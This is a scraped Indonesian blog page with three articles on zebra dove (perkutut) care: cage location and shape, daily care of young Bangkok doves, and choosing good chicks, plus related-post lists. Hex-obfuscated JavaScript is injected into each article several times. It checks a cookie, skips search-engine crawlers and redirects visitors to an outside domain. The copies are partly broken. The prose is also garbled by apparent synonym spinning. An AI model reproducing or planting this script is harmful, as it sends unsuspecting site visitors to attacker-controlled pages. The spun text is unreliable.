IBX5980432E7F390 lokasi Dan Bentuk Kandang Burung Perkutut Gacor Kupas Triknya - Kicauan Burung Lovebird Ngekek

lokasi Dan Bentuk Kandang Burung Perkutut Gacor Kupas Triknya

lokasi Dan Bentuk Kandang Burung Perkutut Gacor

Lokasi dan bentuk sangkar burung perkutut gacor-Tempat dan sangkar untuk perkutut juga akan menentukan burung perkutut tersebut untuk manggung.jika dalam kita menempatkan pas dan cocok,maka anggung yang di keluarkan juga akan semakin sering.

Biasanya, burung perkutut kalau di alam bebas tinggal di pepohonan yang tidak terlalu rindang. Jadi, jika membuat kandang sangkar, buatlah yang sedikit terbuka. Mengapa harus yang terbuka? Karena perkutut tidak menyukai daerah yang tertutup.

Dan peletakkan yang pas yaitu di samping dinding. Kenapa harus di samping dinding? Supaya ketika kandang di tiup oleh angin, tidak tertiup oleh angin.

Burung perkutut menyukai berjemur di pagi hari. Maka dari itu, kalau menciptakan kandang, buatlah menghadap ke matahari terbit (timur).lokasi Dan Bentuk Kandang Burung Perkutut Gacor

Ada banyak kegunaan jikalau menghadapkan kandang ke arah matahari terbit. Kegunaannya ialah burung akan sehat terus. Dan kegunaannya yang satu lagi sangkar tidak simpel di masuki oleh kuman basil.

Pakan pokok untuk anakan yang gres berumur 10 hari adalah kroto yang dicampur dengan beberapa materi. Di dalam masa pertumbuhan perkutut perlu diberikan vitamin biar tubuhnya tidak praktis terjangkit oleh penyakit.

Pemberian makan harus dilakukan setiap hari. Jangan berikan makanan sisa semalam. Berikan kuliner yang benar-benar baru.

Setelah perkutut tumbuh dewasa, makanan pokoknya yaitu biji. Jika peternak ingin perkututnya bersuara merdu, maka berikanlah biji-bijian yang berkualitas.

Pemberian vitamin pun juga penting. Vitamin yang diberikan kepada perkutut dewasa ialah  yang berbentuk bubuk.

Apabila peternak tersebut menangkarkan burung sekitar empat atau lima pasang, maka buatlah sangkar secara berderet. Burung perkutut yaitu jenis burung yang sedikit bergairah, jadi janganlah buat sangkar yang kecil. Buatlah sedikit besar. Berikut akan dijelaskan cara membuat kandang yang baik:

  • Alat kelengkapan sangkar

Ada banyak perlengkapan yang harus dilengkapi di dalam kandang. Seperti kawasan burung bersarang yang mampu dibuat dari bambu. Bahan untuk tempat sarang ialah rerumputan. Rerumputan yang digunakan bukan yang basah tetapi yang kering.

Sekarang, tidaklah susah-susah membuat perlengkapan sangkar. Karena di pasar burung sekarang sudah ada alat perlengkapan burung. Seperti kawasan makan dan minum.

  • Bentuk kandan perkutut

Ada dua pilihan ketika peternak ingin menciptakan sangkar. Bentuk sangkar tersebut ialah bentuk sangkar segi lima ataupun segi empat.

Namun, banyak peternak yang menggunakan kandang berbentuk segi empat. Bentuk kandang segi empat di pilih karena bahagia dalam pembuatannya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)32)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Bahan Sarang Dan Bentuk Perkutut Bertelur
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Berapa Hari Telur Murai Batu Menetas?
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Perawatan Anis Merah Harian Macet Bunyi
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Perawatan Harian Perkutut Berkualitas lomba
  • Menjaga Kesehatan Burung Berkicau kualitas kontes
  • Pakan Spesial Untuk Burung Merpati Pos
  • Merawat Anak Murai Batu Umur 0 Sampai 3 Minggu
  • Cara Mengawinkan Merpati yang Baik

Cara Merawat Harian Piyikan Perkutut Bangkok

Cara merawat harian piyikan perkutut bangkok-Anakan atau piyikan burung perkutut bangkok yang masih bakalan harus mendapatkan perawatan serba kusus.hal ini untuk menunjang supaya nantinya menjadi burung remaja perkutut bangkok yang memiliki pamor dan kualitas unggul.

Ketika burung perkutut bangkok ini masih bakalan, banyak sekali penyakit yang berdatangan. Maka, dalam merawat perkutut bakalan haruslah dengan hati-hati.

Jika tidak dengan hati-hati, aneka macam penyakit akan berdatangan. Banyak perawatan yang bisa dilakukan untuk merawat bakalan perkutut. Di bawah ini akan dijelaskan bagaimana cara merawat bakalan yang baik.

Jika ingin perkutut cepat untuk manggung, maka janganlah meletakkan burung berkicau jenis yang lain di erat sangkar burung perkutut bangkok ini.Cara Merawat Harian Piyikan Perkutut Bangkok

Jika diletakkan di tempat yang berdekatan maka burung perkutut bangkok lambat manggungnya. Tinggi sangkat yang baik ialah kurang dari 4 m. Apabila meletakkan sangkar dengan ketinggian di atas 4 m maka burung perkutut akan stres.

Apabila burung masih bakalan dan belum rajin berkicaunya, maka janganlah pindahkan burung bakalan ini ke tempat lain. Kenapa dilarang dipindahkan? Itu karena mentalnya dapat terlatih.

Waktu memindahkannya ialah pada dikala burung sudah mau berkicau setiap harinya. Burung perkutut mampu dipindahkan sehabis berumur sekitar 4-5 bulanan.

Saat menciptakan sangkar perkutut, tidaklah yang harus besar. Cukup dengan sangkar yang kecil saja burung perkutut sudah mampu hidup.

Jangan memakai kawat jeruji yang kasar. Mengapa dilarang? Sebab, itu mampu menyebabkan perkutut bangkok menjadi terluka. Yang harus diperhatikkan selanjutnya ialah kawasan minum dan kawasan makan.

Tempat minum tidak harus dibuat yang besar. Cukup yang berukuran sedang saja. Untuk kawasan makan perkutut harus dibuat yang lebih berukuran besar daripada tempat air minum.

  • Makanan dan Minuman Perkutut

Makanan pokok burung perkut adalah biji-bijian. Dan minumannya pun harus yang higienis. Jangan memberikan minum sisa. Dalam sehari berikan kuliner perkutut 1 sendok makan saja.

Saat gres dibeli, janganlah coba-coba memandikan burung, itu lantaran kondisi burung masih belum pulih. Kapan diperbolehkan perkutut mandi? Perkutut diperolehkan mandi setelah 1 minggu.

Memandikan burung perkutut sebaiknya menggunakan air bekas pembersihan beras yang keruh. Mengapa harus air bekas cucian beras? Itu bisa mengakibatkan bulu perkutut higienis dan berkilau.

Agar suara burung bagus, maka berikan burung jambu yang khusus untuk burung. Pemberian jamu dilakukan setiap sebulan 4-5 kali.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)21)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)uc))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Pertandingan Sistem Duda Merpati
  • Suara Perkutut Juara Cengkok Irama Dan Nadanya
  • Kualitas Suara Anggung Burung Perkutut Bangkok
  • Teknik Menjodohkan Merpati Secara Cepat
  • Ciri fisik serta kualitas Burung Perkutut Bangkok
  • Pakan Dan Perawatan Harian Burung Toet
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Teknik Memikat Burung Walet Datang
  • Cara Memancing Walet Secara Cepat
  • Cara Mengawinkan Induk Merpati Liar

Ciri Fisik Piyikan Burung Perkutut Bangkok Yang Bagus

Ciri fisik piyikan burung perkutut bangkok yang manis-Piyikan burung perkutut bangkok yang cantik dan unggulan sangat di dambakan dan di cari oleh pera juragan perkutut di indonesia.dengan memelihara piyikan yang berkualitas anggun,nantinya jika burung perkutut bangkok tersebut sudah menganjak dewasa,kualitas yang di suguhkan untuk juragannya juga akan memuaskan.

Karena bunyi kicauannya yang merdu, para pecinta burung pun mulai melirik burung perkutut bangkok ini. Untuk mendapatkan bakalan burung perkutut bangkok ini butuh kesabaran yang ekstra.

Karena butuh menunggu dari pagi hingga sore demi untuk mendapatkan burung perkutut bangkok yang bersuara emas. Di bawah ini akan dijelaskan cara-cara memilih burung bakalan yang baik menurut versi aku.Ciri Fisik Piyikan Burung Perkutut Bangkok Yang Bagus

Jika pecinta burung yang gres, maka harus mempunyai kriteria yang khusus dalam memilih burung bakalan yang baik. Ciri-ciri yang baik yaitu bunyinya yang lambat, bunyinya yang besar, dan bunyi yang dihasilkannya tersebut lembut.

Jika Anda memilih bakalan yang seakan-akan ciri-ciri tersebut maka burung tersebut akan memiliki irama suara yang bagus. Di usia 3 bulan, kita sudah bisa melihat apakah kualitas suaranya cantik atau tidak.

  • Bakalan Harus yang Jantan

Di bandingkan dengan betina, perkutut jantan lebih menyukai berkicau. Saat perkutut jantan sudah sering dilatih untuk berkicau dengan bunyi yang berirama, maka kebiasaan ini pun akan dibawa perkutut jantan dikala dia sedang manggung.

Burung perkutut betina tidak menyukai berkicau. Apabilah pecinta burung tersebut tergolong baru, maka tidak mampu melihat perbedaan yang mana jantan dan yang mana betina secara sekilas saja.

Ada beberapa cara untuk mengetahui antara perkutut jantan dan betina. Salah satunya adalah dengan melihat capit udangnya. Untuk melihatnya maka harus menunggu hingga perkutut berusia antara 4-6 bulanan.

Capit udang antara jantan dan betina berbeda. Perbedaannya yaitu, bila perkutut jantan capit udangnya rapat. Tetapi, tidak semua jantan yang capit udangnya renggang.

Ada juga perkutut jantan renggang. Namun, yang banyak dipilih oleh pecinta burung perkutut yaitu yang capit udangnya rapat.

Kenapa yang banyak dipilih yang capit udangnya rapat? Karena jantan yang capit udangnya rapat lebih tahan lama terkena panas daripada capit udangnya yang renggang. Dan capit udang perkutut betina yang renggang dan kalau dipegang capit udang tersebut sedikit lembek.

Ketika kita membeli burung bakalan, kita harus memperhatikan betul apakah ada cacat di tubuhnya atau tidak. Karena, jika kita salah memilih bakalan yang cacat, ini mampu besar lengan berkuasa pada suaranya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ne((c)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)m3)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Menjaga Kesehatan Burung Berkicau kualitas kontes
  • Merpati Pos Dan Asal-usulnya
  • Kualitas Suara Anggung Burung Perkutut Bangkok
  • Penentuan Lokasi Gedung Rumah Walet
  • Teknik Penangkaran Perkutut Secara Benar
  • Penggemar Burung Berkicau Semakin Bertambah
  • Cara Beternak Merpati Pedaging Pemula
  • Jenis Burung Anis Merah Dan Kelebihannya
  • Suara Perkutut Bangkok Bisa Mengundang Rezeki Pemilik
  • Cara Merawat Harian Piyikan Perkutut Bangkok
  • Ciri fisik serta kualitas Burung Perkutut Bangkok

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " lokasi Dan Bentuk Kandang Burung Perkutut Gacor Kupas Triknya"

Posting Komentar